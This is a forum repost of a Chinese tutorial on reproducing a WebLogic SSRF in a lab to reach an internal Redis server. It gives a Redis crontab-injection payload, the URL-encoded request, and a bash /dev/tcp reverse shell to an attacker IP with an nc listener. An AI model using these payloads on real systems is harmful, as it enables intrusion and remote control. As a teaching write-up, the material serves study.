搜索

[27] 2019-11-15_干货利用WebLogicSSRF漏洞攻击内网Redis反弹shell

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-15
2019-11-15_干货利用WebLogicSSRF漏洞攻击内网Redis反弹shell 干 货 | 利 用 W e b L o g i c   S S R F 漏 洞 攻 击 内 网 R e d i s 反 弹 s h e l l 原 创   P 4 s s W 0 r d   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 1 5 0 x 0 1   复 现 环 境 复 现 环 境   公 网 上 存 在 W e b L o g i c 服 务 ， 存 在 S S R F 漏 洞 内 网 中 部 署 了 一 台 R e d i s 服 务 器 ， I P 地 址 为 1 7 2 . 2 1 . 0 . 2 ， 端 口 6 3 7 9 反 弹 s h e l l 需 要 自 己 的 公 网 I P 总 计 两 个 公 网 I P ， 一 个 内 网 I P 0 x 0 2   W e b L o g i c   S S R F 漏 洞 漏 洞   W e b L o g i c 的 S S R F 漏 洞 算 是 一 个 比 较 知 名 的 S S R F 漏 洞 ， 具 体 原 理 可 以 自 行 谷 歌 。 本 篇 主 要 是 通 过 复 现 该 漏 洞 来 加 深 对 S S R F 漏 洞 的 理 解 。 首 先 访 问 W e b L o g i c 的 漏 洞 页 面 地 址 为     R e g i s t r i e s . j s p ? o p e r a t o r =   a r c h = n a m e & t x t S e a r c h n a m e = s d f & t x t S e a r c h k e y = & t x t S e a r c h f o r = & s e l f o r = B u s i n e s s + l o c a t i o n & b t n S u b m i t = S e a r c h   那 么 S S R F 利 用 中 ， 大 部 分 第 一 步 肯 定 是 进 行 内 网 的 端 口 探 测 了 ， 当 然 肯 定 有 I P 和 端 口 的 探 测 了 ， 这 里 内 网 I P 已 经 给 出 了 ， 就 直 接 扫 端 口 了 ， 简 单 的 写 了 一 个 扫 描 脚 本 而 已 ！
  扫 端 口 得 到 内 网 R e d i s 端 口 为 6 3 7 9 ， 当 然 这 是 做 实 验 所 以 服 务 是 知 道 的 ， 在 实 际 过 程 中 肯 定 需 要 进 一 步 判 断 的 ， 不 过 一 般 都 是 默 认 端 口 吧 。 。 。 这 次 访 问 一 下 6 3 7 9 端 口 ， 看 看 页 面 如 何   看 到 了 下 面 的 一 个 报 错 ， 其 实 从 这 个 报 错 就 可 以 判 断 这 个 内 网 R e d i s 服 务 是 存 在 的 ， 为 什 么 呢 ？   看 一 下 2 0 1 6 乌 云 大 会 上 猪 猪 侠 师 傅 介 绍 的 《 W e b L o g i c   S S R F   服 务 探 测 》   我 们 得 到 的 页 面 的 报 错 语 句 刚 好 符 合 请 求 开 放 的 服 务 的 回 显 ， O K ， 第 一 步 完 成 0 x 0 3   攻 击 内 网 攻 击 内 网 R e d i s 反 弹 反 弹 s h e l l   在 W e b l o g i c 的 S S R F 中 ， 有 一 个 比 较 大 的 特 点 ， 就 是 虽 然 是 一 个 “ G E T ” 请 求 ， 但 是 我 们 可 以 通 过 传 入 % 0 a % 0 d 来 注 入 换 行 符 ， 而 某 些 服 务 （ 如 r e d i s ） 是 通 过 换 行 符 来 分 隔 每 条 命 令 ， 也 就 说 我 们 可 以 通 过 该 S S R F 攻 击 内 网 中 的 r e d i s 服 务 器 。   第 一 步 探 测 R e d i s 我 们 已 经 完 成 了 ， 那 么 第 二 部 就 是 发 送 r e d i s 命 令 ， 将 弹 s h e l l 脚 本 写 入 / e t c / c r o n t a b 中 ， c r o n t a b 就 是 l i n u x 下 的 一 个 定 时 执 行 事 件 的 一 个 程 序 ， 不 懂 的 小 伙 伴 可 以 自 行 谷 歌
命 令 如 下 ： s e t   1   " n n n n *   *   *   *   r o o t   b a s h   - i   > &   / d e v / t c p / x x . x x . x x . x x [ 这 里 是 你 自 己 的 公 网 I P ] / 8 8 8 8 [ 这 里 是 你 监 听 的 端 口 ]   0 > & 1 n n n n "   c o n f i g   s e t   d i r   / e t c / c o n f i g   s e t   d b f i l e n a m e   c r o n t a b   s a v e   因 为 我 们 是 通 过 G E T 来 发 送 命 令 的 ， 因 此 要 将 上 面 的 命 令 进 行 U R L 编 码 ， 同 时 我 们 还 要 制 定 一 个 要 写 入 的 文 件 ， 这 里 我 就 叫 做 t e s t 了 ， 最 终 的 U R L 如 下 ： ? o p e r a t o r =   % 5 C n % 5 C n % 5 C n * % 2 0 * % 2 0 * % 2 0 * % 2 0 * % 2 0 r o o t % 2 0 b a s h % 2 0 - i % 2 0 % 3 E % 2 6 % 2 0 % 2 F d e v % 2 F t c p % 2 F x x x . x x x . x x x . x x x % 2 F 8 8 8 8 % 2 0 0 % 3 E % 2 6 1 % 5 C n % 5 C n % 5 C n % 5 C n % 2 2 % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d i r % 2 0 % 2 F e t c % 2 F % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d b f i l e n a m e % 2 0 c r o n t a b % 0 D % 0 A s a v e % 0 D % 0 A % 0 D % 0 A a a a 在 自 己 的 公 网 I P 上 监 听 8 8 8 8 端 口 n c   - l   8 8 8 8 然 后 发 送 请 求 即 可 反 弹 s h e l l 了   如 果 b u r p 的 右 边 出 现 了 你 输 入 的 命 令 的 回 响 ， 那 么 证 明 你 发 送 的 命 令 已 经 被 服 务 器 接 受 了 。 反 弹 s h e l l 成 功 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理